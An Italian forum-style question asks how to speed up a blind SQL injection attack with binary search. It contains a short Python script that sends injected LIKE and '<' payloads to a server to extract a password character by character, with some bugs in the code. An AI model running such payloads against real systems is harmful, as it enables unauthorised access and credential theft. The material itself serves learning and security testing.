Da quanto ho letto online, è possibile applicare la ricerca binaria per sfruttare le vulnerabilità cieche di SQL injection, e questo è probabilmente quello che strumenti come sqlmap usano per ridurre il numero di query che devono essere inviate al server.
Diciamo che devo trovare una password fatta da lettere minuscole, maiuscole e cifre.
Diciamo che tutti i caratteri o le cifre hanno la stessa probabilità di apparire nella password.
Al momento sono arrivato con lo script python, che implementa un algoritmo lineare O(n)
che itera su tutti i possibili caratteri.
import requests, re
from string import ascii_letters, digits
characters = ascii_letters + digits
current_password = ''
while(current_password<64):
for ch in characters:
query = {'q':'foo" AND BINARY password LIKE {}%'.format(current_password+ch) }
r = requests.post(url, data=query)
if 'OK' in r.text:
current_password += ch
break
Non riesco a capire come la query SQL possa essere modificata per utilizzare una ricerca binaria.
Ho provato a utilizzare <
e >
operatori, come i.e.:
query = {'q':'foo" AND password < {}'.format(current_password+ch) }
Ma le risposte restituite dal server non sembrano essere abbastanza utili da essere utilizzate per implementare una ricerca binaria.